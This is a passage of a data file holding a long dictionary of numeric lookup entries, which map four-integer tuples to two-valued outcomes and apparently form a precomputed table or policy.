4, 5): (0, 1), (8, 34, 5, -5): (0, 0), (8, 34, 5, -4): (-1, -1), (8, 34, 5, -3): (0, 1), (8, 34, 5, -2): (0, 1), (8, 34, 5, -1): (0, 1), (8, 34, 5, 0): (0, 1), (8, 34, 5, 1): (0, 1), (8, 34, 5, 2): (0, 1), (8, 34, 5, 3): (0, 1), (8, 34, 5, 4): (0, 1), (8, 34, 5, 5): (0, 1), (8, 35, -5, -5): (0, 1), (8, 35, -5, -4): (0, 0), (8, 35, -5, -3): (0, 1), (8, 35, -5, -2): (0, 1), (8, 35, -5, -1): (0, 1), (8, 35, -5, 0): (0, 0), (8, 35, -5, 1): (-1, -1), (8, 35, -5, 2): (0, 1), (8, 35, -5, 3): (0, 1), (8, 35, -5, 4): (0, 1), (8, 35, -5, 5): (0, 1), (8, 35, -4, -5): (-1, 1), (8, 35, -4, -4): (1, 1), (8, 35, -4, -3): (0, 1), (8, 35, -4, -2): (0, 1), (8, 35, -4, -1): (0, 1), (8, 35, -4, 0): (0, 0), (8, 35, -4, 1): (-1, -1), (8, 35, -4, 2): (-1, 1), (8, 35, -4, 3): (-1, 1), (8, 35, -4, 4): (-1, 1), (8, 35, -4, 5): (-1, 1), (8, 35, -3, -5): (-1, 1), (8, 35, -3, -4): (0, 1), (8, 35, -3, -3): (0, 1), (8, 35, -3, -2): (-1, 1), (8, 35, -3, -1): (-1, 1), (8, 35, -3, 0): (-1, 0), (8, 35, -3, 1): (-1, -1), (8, 35, -3, 2): (-1, 1), (8, 35, -3, 3): (-1, 1), (8, 35, -3, 4): (-1, 1), (8, 35, -3, 5): (-1, 1), (8, 35, -2, -5): (-1, 1), (8, 35, -2, -4): (-1, 1), (8, 35, -2, -3): (-1, 1), (8, 35, -2, -2): (-1, 1), (8, 35, -2, -1): (-1, 1), (8, 35, -2, 0): (-1, 0), (8, 35, -2, 1): (-1, -1), (8, 35, -2, 2): (-1, 1), (8, 35, -2, 3): (-1, 1), (8, 35, -2, 4): (-1, 1), (8, 35, -2, 5): (-1, 1), (8, 35, -1, -5): (-1, 1), (8, 35, -1, -4): (-1, 1), (8, 35, -1, -3): (-1, 1), (8, 35, -1, -2): (-1, 1), (8, 35, -1, -1): (-1, 1), (8, 35, -1, 0): (-1, 0), (8, 35, -1, 1): (-1, -1), (8, 35, -1, 2): (-1, 1), (8, 35, -1, 3): (-1, 1), (8, 35, -1, 4): (-1, 1), (8, 35, -1, 5): (-1, 1), (8, 35, 0, -5): (1, 1), (8, 35, 0, -4): (1, 1), (8, 35, 0, -3): (-1, 1), (8, 35, 0, -2): (-1, 1), (8, 35, 0, -1): (-1, 1), (8, 35, 0, 0): (-1, 0), (8, 35, 0, 1): (-1, -1), (8, 35, 0, 2): (-1, 1), (8, 35, 0, 3): (-1, 1), (8, 35, 0, 4): (-1, 1), (8, 35, 0, 5): (-1, 1), (8, 35, 1, -5): (1, 0), (8, 35, 1, -4): (1, 1), (8, 35, 1, -3): (1, 0), (8, 35, 1, -2): (-1, 1), (8, 35, 1, -1): (-1, 1), (8, 35, 1, 0): (-1, 1), (8, 35, 1, 1): (-1, 1), (8, 35, 1, 2): (-1, 1), (8, 35, 1, 3): (-1, 1), (8, 35, 1, 4): (-1, 1), (8, 35, 1, 5): (-1, 1), (8, 35, 2, -5): (0, 0), (8, 35, 2, -4): (0, 1), (8, 35, 2, -3): (0, 1), (8, 35, 2, -2): (0, 1), (8, 35, 2, -1): (0, 1), (8, 35, 2, 0): (0, 1), (8, 35, 2, 1): (0, 1), (8, 35, 2, 2): (0, 1), (8, 35, 2, 3): (0, 1), (8, 35, 2, 4): (0, 1), (8, 35, 2, 5): (0, 1), (8, 35, 3, -5): (0, 0), (8, 35, 3, -4): (0, 1), (8, 35, 3, -3): (0, 1), (8, 35, 3, -2): (0, 1), (8, 35, 3, -1): (0, 1), (8, 35, 3, 0): (0, 1), (8, 35, 3, 1): (0, 1), (8, 35, 3, 2): (0, 1), (8, 35, 3, 3): (0, 1), (8, 35, 3, 4): (0, 1), (8, 35, 3, 5): (0, 1), (8, 35, 4, -5): (0, 0), (8, 35, 4, -4): (0, 1), (8, 35, 4, -3): (0, 1), (8, 35, 4, -2): (0, 1), (8, 35, 4, -1): (0, 1), (8, 35, 4, 0): (0, 1), (8, 35, 4, 1): (0, 1), (8, 35, 4, 2): (0, 1), (8, 35, 4, 3): (0, 1), (8, 35, 4, 4): (0, 1), (8, 35, 4, 5): (0, 1), (8, 35, 5, -5): (0, 0), (8, 35, 5, -4): (0, 1), (8, 35, 5, -3): (0, 1), (8, 35, 5, -2): (0, 1), (8, 35, 5, -1): (0, 1), (8, 35, 5, 0): (0, 1), (8, 35, 5, 1): (0, 1), (8, 35, 5, 2): (0, 1), (8, 35, 5, 3): (0, 1), (8, 35, 5, 4): (0, 1), (8, 35, 5, 5): (0, 1), (9, 1, -5, -5): (0, 1), (9, 1, -5, -4): (0, 1), (9, 1, -5, -3): (0, 1), (9, 1, -5, -2): (0, 1), (9, 1, -5, -1): (0, 0), (9, 1, -5, 0): (0, 1), (9, 1, -5, 1): (0, 1), (9, 1, -5, 2): (0, 1), (9, 1, -5, 3): (0, 1), (9, 1, -5, 4): (0, 1), (9, 1, -5, 5): (0, 1), (9, 1, -4, -5): (-1, 1), (9, 1, -4, -4): (-1, 1), (9, 1, -4, -3): (-1, 1), (9, 1, -4, -2): (-1, 1), (9, 1, -4, -1): (-1, 0), (9, 1, -4, 0): (0, 1), (9, 1, -4, 1): (0, 1), (9, 1, -4, 2): (0, 1), (9, 1, -4, 3): (1, 1), (9, 1, -4, 4): (1, 1), (9, 1, -4, 5): (1, 0), (9, 1, -3, -5): (0, 1), (9, 1, -3, -4): (0, 1), (9, 1, -3, -3): (0, 1), (9, 1, -3, -2): (0, 1), (9, 1, -3, -1): (-1, 1), (9, 1, -3, 0): (1, 1), (9, 1, -3, 1): (1, 1), (9, 1, -3, 2): (1, 1), (9, 1, -3, 3): (1, 1), (9, 1, -3, 4): (1, 1), (9, 1, -3, 5): (1, 0), (9, 1, -2, -5): (1, 0), (9, 1, -2, -4): (1, 0), (9, 1, -2, -3): (1, 0), (9, 1, -2, -2): (1, 0), (9, 1, -2, -1): (1, 0), (9, 1, -2, 0): (1, 1), (9, 1, -2, 1): (1, 1), (9, 1, -2, 2): (1, 1), (9, 1, -2, 3): (1, 1), (9, 1, -2, 4): (1, 1), (9, 1, -2, 5): (1, 0), (9, 1, -1, -5): (1, 0), (9, 1, -1, -4): (1, 0), (9, 1, -1, -3): (1, 0), (9, 1, -1, -2): (1, 0), (9, 1, -1, -1): (1, 0), (9, 1, -1, 0): (1, 1), (9, 1, -1, 1): (1, 1), (9, 1, -1, 2): (1, 1), (9, 1, -1, 3): (1, 1), (9, 1, -1, 4): (1, 1), (9, 1, -1, 5): (1, 0), (9, 1, 0, -5): (0, 1), (9, 1, 0, -4): (0, 1), (9, 1, 0, -3): (0, 1), (9, 1, 0, -2): (0, 1), (9, 1, 0, -1): (0, 1), (9, 1, 0, 0): (0, 1), (9, 1, 0, 1): (0, 1), (9, 1, 0, 2): (0, 1), (9, 1, 0, 3): (0, 1), (9, 1, 0, 4): (0, 1), (9, 1, 0, 5): (0, 1), (9, 1, 1, -5): (0, 1), (9, 1, 1, -4): (0, 1), (9, 1, 1, -3): (0, 1), (9, 1, 1, -2): (0, 1), (9, 1, 1, -1): (0, 1), (9, 1, 1, 0): (-1, 1), (9, 1, 1, 1): (-1, 1), (9, 1, 1, 2): (-1, 1), (9, 1, 1, 3): (-1, 1), (9, 1, 1, 4): (-1, 1), (9, 1, 1, 5): (-1, 1), (9, 1, 2, -5): (0, 1), (9, 1, 2, -4): (0, 1), (9, 1, 2, -3): (0, 1), (9, 1, 2, -2): (0, 1), (9, 1, 2, -1): (0, 1), (9, 1, 2, 0): (0, 1), (9, 1, 2, 1): (0, 1), (9, 1, 2, 2): (0, 1), (9, 1, 2, 3): (0, 1), (9, 1, 2, 4): (0, 1), (9, 1, 2, 5): (0, 1), (9, 1, 3, -5): (0, 1), (9, 1, 3, -4): (0, 1), (9, 1, 3, -3): (0, 1), (9, 1, 3, -2): (0, 1), (9, 1, 3, -1): (0, 1), (9, 1, 3, 0): (0, 1), (9, 1, 3, 1): (0, 1), (9, 1, 3, 2): (0, 1), (9, 1, 3, 3): (0, 1), (9, 1, 3, 4): (0, 1), (9, 1, 3, 5): (0, 1), (9, 1, 4, -5): (0, 1), (9, 1, 4, -4): (0, 1), (9, 1, 4, -3): (0, 1), (9, 1, 4, -2): (0, 1), (9, 1, 4, -1): (0, 1), (9, 1, 4, 0): (0, 1), (9, 1, 4, 1): (0, 1), (9, 1, 4, 2): (0, 1), (9, 1, 4, 3): (0, 1), (9, 1, 4, 4): (0, 1), (9, 1, 4, 5): (0, 1), (9, 1, 5, -5): (0, 1), (9, 1, 5, -4): (0, 1), (9, 1, 5, -3): (0, 1), (9, 1, 5, -2): (0, 1), (9, 1, 5, -1): (0, 1), (9, 1, 5, 0): (0, 1), (9, 1, 5, 1): (0, 1), (9, 1, 5, 2): (0, 1), (9, 1, 5, 3): (0, 1), (9, 1, 5, 4): (0, 1), (9, 1, 5, 5): (0, 1), (9, 2, -5, -5): (0, 1), (9, 2, -5, -4): (0, 1), (9, 2, -5, -3): (0, 1), (9, 2, -5, -2): (0, 0), (9, 2, -5, -1): (0, 1), (9, 2, -5, 0): (0, 1), (9, 2, -5, 1): (0, 1), (9, 2, -5, 2): (0, 1), (9, 2, -5, 3): (0, 1), (9, 2, -5, 4): (0, 1), (9, 2, -5, 5): (0, 1), (9, 2, -4, -5): (-1, 1), (9, 2, -4, -4): (-1, 1), (9, 2, -4, -3): (-1, 1), (9, 2, -4, -2): (-1, 0), (9, 2, -4, -1): (0, 1), (9, 2, -4, 0): (0, 1), (9, 2, -4, 1): (0, 1), (9, 2, -4, 2): (0, 1), (9, 2, -4, 3): (0, 1), (9, 2, -4, 4): (1, 1), (9, 2, -4, 5): (1, 0), (9, 2, -3, -5): (0, 1), (9, 2, -3, -4): (0, 1), (9, 2, -3, -3): (0, 1), (9, 2, -3, -2): (-1, 1), (9, 2, -3, -1): (-1, 1), (9, 2, -3, 0): (1, 1), (9, 2, -3, 1): (1, 1), (9, 2, -3, 2): (1, 1), (9, 2, -3, 3): (1, 1), (9, 2, -3, 4): (1, 1), (9, 2, -3, 5): (1, 0), (9, 2, -2, -5): (1, 0), (9, 2, -2, -4): (1, 0), (9, 2, -2, -3): (1, 0), (9, 2, -2, -2): (1, 0), (9, 2, -2, -1): (1, 1), (9, 2, -2, 0): (1, 1), (9, 2, -2, 1): (1, 1), (9, 2, -2, 2): (1, 1), (9, 2, -2, 3): (1, 1), (9, 2, -2, 4): (1, 1), (9, 2, -2, 5): (1, 0), (9, 2, -1, -5): (1, 0), (9, 2, -1, -4): (1, 0), (9, 2, -1, -3): (1, 0), (9, 2, -1, -2): (1, 0), (9, 2, -1, -1): (1, 1), (9, 2, -1, 0): (1, 1), (9, 2, -1, 1): (1, 1), (9, 2, -1, 2): (1, 1), (9, 2, -1, 3): (1, 1), (9, 2, -1, 4): (1, 1), (9, 2, -1, 5): (1, 0), (9, 2, 0, -5): (0, 1), (9, 2, 0, -4): (0, 1), (9, 2, 0, -3): (0, 1), (9, 2, 0, -2): (0, 0), (9, 2, 0, -1): (0, 1), (9, 2, 0, 0): (0, 1), (9, 2, 0, 1): (0, 1), (9, 2, 0, 2): (0, 1), (9, 2, 0, 3): (0, 1), (9, 2, 0, 4): (0, 1), (9, 2, 0, 5): (0, 1), (9, 2, 1, -5): (0, 1), (9, 2, 1, -4): (0, 1), (9, 2, 1, -3): (0, 1), (9, 2, 1, -2): (0, 1), (9, 2, 1, -1): (0, 1), (9, 2, 1, 0): (-1, 1), (9, 2, 1, 1): (-1, 1), (9, 2, 1, 2): (-1, 1), (9, 2, 1, 3): (-1, 1), (9, 2, 1, 4): (-1, 1), (9, 2, 1, 5): (-1, 1), (9, 2, 2, -5): (0, 1), (9, 2, 2, -4): (0, 1), (9, 2, 2, -3): (0, 1), (9, 2, 2, -2): (0, 1), (9, 2, 2, -1): (0, 1), (9, 2, 2, 0): (0, 1), (9, 2, 2, 1): (0, 1), (9, 2, 2, 2): (0, 1), (9, 2, 2, 3): (0, 1), (9, 2, 2, 4): (0, 1), (9, 2, 2, 5): (0, 1), (9, 2, 3, -5): (0, 1), (9, 2, 3, -4): (0, 1), (9, 2, 3, -3): (0, 1), (9, 2, 3, -2): (0, 1), (9, 2, 3, -1): (0, 1), (9, 2, 3, 0): (0, 1), (9, 2, 3, 1): (0, 1), (9, 2, 3, 2): (0, 1), (9, 2, 3, 3): (0, 1), (9, 2, 3, 4): (0, 1), (9, 2, 3, 5): (0, 1), (9, 2, 4, -5): (0, 1), (9, 2, 4, -4): (0, 1), (9, 2, 4, -3): (0, 1), (9, 2, 4, -2): (0, 1), (9, 2, 4, -1): (0, 1), (9, 2, 4, 0): (0, 1), (9, 2, 4, 1): (0, 1), (9, 2, 4, 2): (0, 1), (9, 2, 4, 3): (0, 1), (9, 2, 4, 4): (0, 1), (9, 2, 4, 5): (0, 1), (9, 2, 5, -5): (0, 1), (9, 2, 5, -4): (0, 1), (9, 2, 5, -3): (0, 1), (9, 2, 5, -2): (0, 1), (9, 2, 5, -1): (0, 1), (9, 2, 5, 0): (0, 1), (9, 2, 5, 1): (0, 1), (9, 2, 5, 2): (0, 1), (9, 2, 5, 3): (0, 1), (9, 2, 5, 4): (0, 1), (9, 2, 5, 5): (0, 1), (9, 3, -5, -5): (0, 1), (9, 3, -5, -4): (0, 1), (9, 3, -5, -3): (0, 0), (9, 3, -5, -2): (0, 1), (9, 3, -5, -1): (0, 1), (9, 3, -5, 0): (0, 1), (9, 3, -5, 1): (0, 1), (9, 3, -5, 2): (0, 1), (9, 3, -5, 3): (0, 1), (9, 3, -5, 4): (0, 1), (9, 3, -5, 5): (0, 1), (9, 3, -4, -5): (-1, 1), (9, 3, -4, -4): (-1, 1), (9, 3, -4, -3): (-1, 0), (9, 3, -4, -2): (0, 1), (9, 3, -4, -1): (0, 1), (9, 3, -4, 0): (0, 1), (9, 3, -4, 1): (0, 1), (9, 3, -4, 2): (0, 1), (9, 3, -4, 3): (0, 1), (9, 3, -4, 4): (1, 1), (9, 3, -4, 5): (1, 0), (9, 3, -3, -5): (0, 1), (9, 3, -3, -4): (0, 1), (9, 3, -3, -3): (-1, 1), (9, 3, -3, -2): (-1, 1), (9, 3, -3, -1): (-1, 1), (9, 3, -3, 0): (1, 1), (9, 3, -3, 1): (1, 1), (9, 3, -3, 2): (1, 1), (9, 3, -3, 3): (1, 1), (9, 3, -3, 4): (1, 1), (9, 3, -3, 5): (1, 0), (9, 3, -2, -5): (1, 0), (9, 3, -2, -4): (1, 0), (9, 3, -2, -3): (1, 0), (9, 3, -2, -2): (1, -1), (9, 3, -2, -1): (1, 1), (9, 3, -2, 0): (1, 1), (9, 3, -2, 1): (1, 1), (9, 3, -2, 2): (1, 1), (9, 3, -2, 3): (1, 1), (9, 3, -2, 4): (1, 1), (9, 3, -2, 5): (1, 0), (9, 3, -1, -5): (1, 0), (9, 3, -1, -4): (1, 0), (9, 3, -1, -3): (1, 0), (9, 3, -1, -2): (1, -1), (9, 3, -1, -1): (1, 1), (9, 3, -1, 0): (1, 1), (9, 3, -1, 1): (1, 1), (9, 3, -1, 2): (1, 1), (9, 3, -1, 3): (1, 1), (9, 3, -1, 4): (1, 1), (9, 3, -1, 5): (1, 0), (9, 3, 0, -5): (0, 1), (9, 3, 0, -4): (0, 1), (9, 3, 0, -3): (0, 0), (9, 3, 0, -2): (1, 1), (9, 3, 0, -1): (0, 1), (9, 3, 0, 0): (0, 1), (9, 3, 0, 1): (0, 1), (9, 3, 0, 2): (0, 1), (9, 3, 0, 3): (0, 1), (9, 3, 0, 4): (0, 1), (9, 3, 0, 5): (0, 1), (9, 3, 1, -5): (0, 1), (9, 3, 1, -4): (0, 1), (9, 3, 1, -3): (0, 1), (9, 3, 1, -2): (0, 1), (9, 3, 1, -1): (0, 1), (9, 3, 1, 0): (-1, 1), (9, 3, 1, 1): (-1, 1), (9, 3, 1, 2): (-1, 1), (9, 3, 1, 3): (-1, 1), (9, 3, 1, 4): (-1, 1), (9, 3, 1, 5): (-1, 1), (9, 3, 2, -5): (0, 1), (9, 3, 2, -4): (0, 1), (9, 3, 2, -3): (0, 1), (9, 3, 2, -2): (0, 1), (9, 3, 2, -1): (0, 1), (9, 3, 2, 0): (0, 1), (9, 3, 2, 1): (0, 1), (9, 3, 2, 2): (0, 1), (9, 3, 2, 3): (0, 1), (9, 3, 2, 4): (0, 1), (9, 3, 2, 5): (0, 1), (9, 3, 3, -5): (0, 1), (9, 3, 3, -4): (0, 1), (9, 3, 3, -3): (0, 1), (9, 3, 3, -2): (0, 1), (9, 3, 3, -1): (0, 1), (9, 3, 3, 0): (0, 1), (9, 3, 3, 1): (0, 1), (9, 3, 3, 2): (0, 1), (9, 3, 3, 3): (0, 1), (9, 3, 3, 4): (0, 1), (9, 3, 3, 5): (0, 1), (9, 3, 4, -5): (0, 1), (9, 3, 4, -4): (0, 1), (9, 3, 4, -3): (0, 1), (9, 3, 4, -2): (0, 1), (9, 3, 4, -1): (0, 1), (9, 3, 4, 0): (0, 1), (9, 3, 4, 1): (0, 1), (9, 3, 4, 2): (0, 1), (9, 3, 4, 3): (0, 1), (9, 3, 4, 4): (0, 1), (9, 3, 4, 5): (0, 1), (9, 3, 5, -5): (0, 1), (9, 3, 5, -4): (0, 1), (9, 3, 5, -3): (0, 1), (9, 3, 5, -2): (0, 1), (9, 3, 5, -1): (0, 1), (9, 3, 5, 0): (0, 1), (9, 3, 5, 1): (0, 1), (9, 3, 5, 2): (0, 1), (9, 3, 5, 3): (0, 1), (9, 3, 5, 4): (0, 1), (9, 3, 5, 5): (0, 1), (9, 4, -5, -5): (0, 1), (9, 4, -5, -4): (0, 0), (9, 4, -5, -3): (0, 1), (9, 4, -5, -2): (0, 1), (9, 4, -5, -1): (0, 1), (9, 4, -5, 0): (0, 1), (9, 4, -5, 1): (0, 1), (9, 4, -5, 2): (0, 1), (9, 4, -5, 3): (0, 1), (9, 4, -5, 4): (0, 1), (9, 4, -5, 5): (0, 1), (9, 4, -4, -5): (-1, 1), (9, 4, -4, -4): (-1, 0), (9, 4, -4, -3): (0, 1), (9, 4, -4, -2): (0, 1), (9, 4, -4, -1): (0, 1), (9, 4, -4, 0): (0, 1), (9, 4, -4, 1): (0, 1), (9, 4, -4, 2): (0, 1), (9, 4, -4, 3): (0, 1), (9, 4, -4, 4): (1, 1), (9, 4, -4, 5): (1, 0), (9, 4, -3, -5): (0, 1), (9, 4, -3, -4): (-1, 1), (9, 4, -3, -3): (-1, 1), (9, 4, -3, -2): (-1, 1), (9, 4, -3, -1): (-1, 1), (9, 4, -3, 0): (1, 1), (9, 4, -3, 1): (1, 1), (9, 4, -3, 2): (1, 1), (9, 4, -3, 3): (1, 1), (9, 4, -3, 4): (1, 1), (9, 4, -3, 5): (1, 0), (9, 4, -2, -5): (1, 0), (9, 4, -2, -4): (1, 0), (9, 4, -2, -3): (1, -1), (9, 4, -2, -2): (-1, 0), (9, 4, -2, -1): (1, 1), (9, 4, -2, 0): (1, 1), (9, 4, -2, 1): (1, 1), (9, 4, -2, 2): (1, 1), (9, 4, -2, 3): (1, 1), (9, 4, -2, 4): (1, 1), (9, 4, -2, 5): (1, 0), (9, 4, -1, -5): (1, 0), (9, 4, -1, -4): (1, 0), (9, 4, -1, -3): (1, -1), (9, 4, -1, -2): (-1, 1), (9, 4, -1, -1): (1, 1), (9, 4, -1, 0): (1, 1), (9, 4, -1, 1): (1, 1), (9, 4, -1, 2): (1, 1), (9, 4, -1, 3): (1, 1), (9, 4, -1, 4): (1, 1), (9, 4, -1, 5): (1, 0), (9, 4, 0, -5): (0, 1), (9, 4, 0, -4): (0, 0), (9, 4, 0, -3): (1, 1), (9, 4, 0, -2): (1, 1), (9, 4, 0, -1): (0, 1), (9, 4, 0, 0): (0, 1), (9, 4, 0, 1): (0, 1), (9, 4, 0, 2): (0, 1), (9, 4, 0, 3): (0, 1), (9, 4, 0, 4): (0, 1), (9, 4, 0, 5): (0, 1), (9, 4, 1, -5): (0, 1), (9, 4, 1, -4): (0, 1), (9, 4, 1, -3): (0, 1), (9, 4, 1, -2): (0, 1), (9, 4, 1, -1): (0, 1), (9, 4, 1, 0): (-1, 1), (9, 4, 1, 1): (-1, 1), (9, 4, 1, 2): (-1, 1), (9, 4, 1, 3): (-1, 1), (9, 4, 1, 4): (-1, 1), (9, 4, 1, 5): (-1, 1), (9, 4, 2, -5): (0, 1), (9, 4, 2, -4): (0, 1), (9, 4, 2, -3): (0, 1), (9, 4, 2, -2): (0, 1), (9, 4, 2, -1): (0, 1), (9, 4, 2, 0): (0, 1), (9, 4, 2, 1): (0, 1), (9, 4, 2, 2): (0, 1), (9, 4, 2, 3): (0, 1), (9, 4, 2, 4): (0, 1), (9, 4, 2, 5): (0, 1), (9, 4, 3, -5): (0, 1), (9, 4, 3, -4): (0, 1), (9, 4, 3, -3): (0, 1), (9, 4, 3, -2): (0, 1), (9, 4, 3, -1): (0, 1), (9, 4, 3, 0): (0, 1), (9, 4, 3, 1): (0, 1), (9, 4, 3, 2): (0, 1), (9, 4, 3, 3): (0, 1), (9, 4, 3, 4): (0, 1), (9, 4, 3, 5): (0, 1), (9, 4, 4, -5): (0, 1), (9, 4, 4, -4): (0, 1), (9, 4, 4, -3): (0, 1), (9, 4, 4, -2): (0, 1), (9, 4, 4, -1): (0, 1), (9, 4, 4, 0): (0, 1), (9, 4, 4, 1): (0, 1), (9, 4, 4, 2): (0, 1), (9, 4, 4, 3): (0, 1), (9, 4, 4, 4): (0, 1), (9, 4, 4, 5): (0, 1), (9, 4, 5, -5): (0, 1), (9, 4, 5, -4): (0, 1), (9, 4, 5, -3): (0, 1), (9, 4, 5, -2): (0, 1), (9, 4, 5, -1): (0, 1), (9, 4, 5, 0): (0, 1), (9, 4, 5, 1): (0, 1), (9, 4, 5, 2): (0, 1), (9, 4, 5, 3): (0, 1), (9, 4, 5, 4): (0, 1), (9, 4, 5, 5): (0, 1), (9, 5, -5, -5): (0, 0), (9, 5, -5, -4): (0, 1), (9, 5, -5, -3): (0, 1), (9, 5, -5, -2): (0, 1), (9, 5, -5, -1): (0, 1), (9, 5, -5, 0): (0, 1), (9, 5, -5, 1): (0, 1), (9, 5, -5, 2): (0, 1), (9, 5, -5, 3): (0, 1), (9, 5, -5, 4): (0, 1), (9, 5, -5, 5): (0, 1), (9, 5, -4, -5): (-1, 0), (9, 5, -4, -4): (0, 1), (9, 5, -4, -3): (0, 1), (9, 5, -4, -2): (0, 1), (9, 5, -4, -1): (0, 1), (9, 5, -4, 0): (0, 1), (9, 5, -4, 1): (0, 1), (9, 5, -4, 2): (0, 1), (9, 5, -4, 3): (1, 1), (9, 5, -4, 4): (1, 1), (9, 5, -4, 5): (1, 0), (9, 5, -3, -5): (-1, 1), (9, 5, -3, -4): (-1, 1), (9, 5, -3, -3): (-1, 1), (9, 5, -3, -2): (-1, 1), (9, 5, -3, -1): (-1, 1), (9, 5, -3, 0): (1, 1), (9, 5, -3, 1): (1, 1), (9, 5, -3, 2): (1, 1), (9, 5, -3, 3): (1, 1), (9, 5, -3, 4): (1, 1), (9, 5, -3, 5): (1, 0), (9, 5, -2, -5): (1, 0), (9, 5, -2, -4): (1, -1), (9, 5, -2, -3): (-1, 0), (9, 5, -2, -2): (0, 1), (9, 5, -2, -1): (1, 1), (9, 5, -2, 0): (1, 1), (9, 5, -2, 1): (1, 1), (9, 5, -2, 2): (1, 1), (9, 5, -2, 3): (1, 1), (9, 5, -2, 4): (1, 1), (9, 5, -2, 5): (1, 0), (9, 5, -1, -5): (1, 0), (9, 5, -1, -4): (1, -1), (9, 5, -1, -3): (-1, 1), (9, 5, -1, -2): (-1, 1), (9, 5, -1, -1): (1, 1), (9, 5, -1, 0): (1, 1), (9, 5, -1, 1): (1, 1), (9, 5, -1, 2): (1, 1), (9, 5, -1, 3): (1, 1), (9, 5, -1, 4): (1, 1), (9, 5, -1, 5): (1, 0), (9, 5, 0, -5): (0, 0), (9, 5, 0, -4): (1, 1), (9, 5, 0, -3): (1, 1), (9, 5, 0, -2): (1, 1), (9, 5, 0, -1): (0, 1), (9, 5, 0, 0): (0, 1), (9, 5, 0, 1): (0, 1), (9, 5, 0, 2): (0, 1), (9, 5, 0, 3): (0, 1), (9, 5, 0, 4): (0, 1), (9, 5, 0, 5): (0, 1), (9, 5, 1, -5): (0, 1), (9, 5, 1, -4): (0, 1), (9, 5, 1, -3): (0, 1), (9, 5, 1, -2): (0, 1), (9, 5, 1, -1): (0, 1), (9, 5, 1, 0): (-1, 1), (9, 5, 1, 1): (-1, 1), (9, 5, 1, 2): (-1, 1), (9, 5, 1, 3): (-1, 1), (9, 5, 1, 4): (-1, 1), (9, 5, 1, 5): (-1, 1), (9, 5, 2, -5): (0, 1), (9, 5, 2, -4): (0, 1), (9, 5, 2, -3): (0, 1), (9, 5, 2, -2): (0, 1), (9, 5, 2, -1): (0, 1), (9, 5, 2, 0): (0, 1), (9, 5, 2, 1): (0, 1), (9, 5, 2, 2): (0, 1), (9, 5, 2, 3): (0, 1), (9, 5, 2, 4): (0, 1), (9, 5, 2, 5): (0, 1), (9, 5, 3, -5): (0, 1), (9, 5, 3, -4): (0, 1), (9, 5, 3, -3): (0, 1), (9, 5, 3, -2): (0, 1), (9, 5, 3, -1): (0, 1), (9, 5, 3, 0): (0, 1), (9, 5, 3, 1): (0, 1), (9, 5, 3, 2): (0, 1), (9, 5, 3, 3): (0, 1), (9, 5, 3, 4): (0, 1), (9, 5, 3, 5): (0, 1), (9, 5, 4, -5): (0, 1), (9, 5, 4, -4): (0, 1), (9, 5, 4, -3): (0, 1), (9, 5, 4, -2): (0, 1), (9, 5, 4, -1): (0, 1), (9, 5, 4, 0): (0, 1), (9, 5, 4, 1): (0, 1), (9, 5, 4, 2): (0, 1), (9, 5, 4, 3): (0, 1), (9, 5, 4, 4): (0, 1), (9, 5, 4, 5): (0, 1), (9, 5, 5, -5): (0, 1), (9, 5, 5, -4): (0, 1), (9, 5, 5, -3): (0, 1), (9, 5, 5, -2): (0, 1), (9, 5, 5, -1): (0, 1), (9, 5, 5, 0): (0, 1), (9, 5, 5, 1): (0, 1), (9, 5, 5, 2): (0, 1), (9, 5, 5, 3): (0, 1), (9, 5, 5, 4): (0, 1), (9, 5, 5, 5): (0, 1), (9, 6, -5, -5): (0, 1), (9, 6, -5, -4): (0, 1), (9, 6, -5, -3): (0, 1), (9, 6, -5, -2): (0, 1), (9, 6, -5, -1): (0, 1), (9, 6, -5, 0): (0, 1), (9, 6, -5, 1): (0, 1), (9, 6, -5, 2): (0, 1), (9, 6, -5, 3): (0, 1), (9, 6, -5, 4): (0, 1), (9, 6, -5, 5): (0, 1), (9, 6, -4, -5): (0, 1), (9, 6, -4, -4): (0, 1), (9, 6, -4, -3): (0, 1), (9, 6, -4, -2): (0, 1), (9, 6, -4, -1): (0, 1), (9, 6, -4, 0): (0, 1), (9, 6, -4, 1): (0, 1), (9, 6, -4, 2): (0, 1), (9, 6, -4, 3): (1, 1), (9, 6, -4, 4): (0, 1), (9, 6, -4, 5): (0, 1), (9, 6, -3, -5): (-1, 1), (9, 6, -3, -4): (-1, 1), (9, 6, -3, -3): (-1, 1), (9, 6, -3, -2): (-1, 1), (9, 6, -3, -1): (-1, 1), (9, 6, -3, 0): (1, 1), (9, 6, -3, 1): (1, 1), (9, 6, -3, 2): (1, 1), (9, 6, -3, 3): (1, 1), (9, 6, -3, 4): (1, 1), (9, 6, -3, 5): (1, 0), (9, 6, -2, -5): (-1, 1), (9, 6, -2, -4): (-1, 1), (9, 6, -2, -3): (-1, 0), (9, 6, -2, -2): (0, 1), (9, 6, -2, -1): (1, 1), (9, 6, -2, 0): (1, 1), (9, 6, -2, 1): (1, 1), (9, 6, -2, 2): (1, 1), (9, 6, -2, 3): (1, 1), (9, 6, -2, 4): (1, 1), (9, 6, -2, 5): (1, 0), (9, 6, -1, -5): (-1, 1), (9, 6, -1, -4): (-1, 1), (9, 6, -1, -3): (-1, 1), (9, 6, -1, -2): (-1, 1), (9, 6, -1, -1): (1, 1), (9, 6, -1, 0): (1, 1), (9, 6, -1, 1): (1, 1), (9, 6, -1, 2): (1, 1), (9, 6, -1, 3): (1, 1), (9, 6, -1, 4): (1, 1), (9, 6, -1, 5): (1, 0), (9, 6, 0, -5): (1, 1), (9, 6, 0, -4): (1, 1), (9, 6, 0, -3): (1, 1), (9, 6, 0, -2): (1, 1), (9, 6, 0, -1): (0, 1), (9, 6, 0, 0): (0, 1), (9, 6, 0, 1): (0, 1), (9, 6, 0, 2): (0, 1), (9, 6, 0, 3): (0, 1), (9, 6, 0, 4): (0, 1), (9, 6, 0, 5): (0, 1), (9, 6, 1, -5): (0, 1), (9, 6, 1, -4): (0, 1), (9, 6, 1, -3): (0, 1), (9, 6, 1, -2): (0, 1), (9, 6, 1, -1): (0, 1), (9, 6, 1, 0): (-1, 1), (9, 6, 1, 1): (-1, 1), (9, 6, 1, 2): (-1, 1), (9, 6, 1, 3): (-1, 1), (9, 6, 1, 4): (-1, 1), (9, 6, 1, 5): (-1, 1), (9, 6, 2, -5): (0, 1), (9, 6, 2, -4): (0, 1), (9, 6, 2, -3): (0, 1), (9, 6, 2, -2): (0, 1), (9, 6, 2, -1): (0, 1), (9, 6, 2, 0): (0, 1), (9, 6, 2, 1): (0, 1), (9, 6, 2, 2): (0, 1), (9, 6, 2, 3): (0, 1), (9, 6, 2, 4): (0, 1), (9, 6, 2, 5): (0, 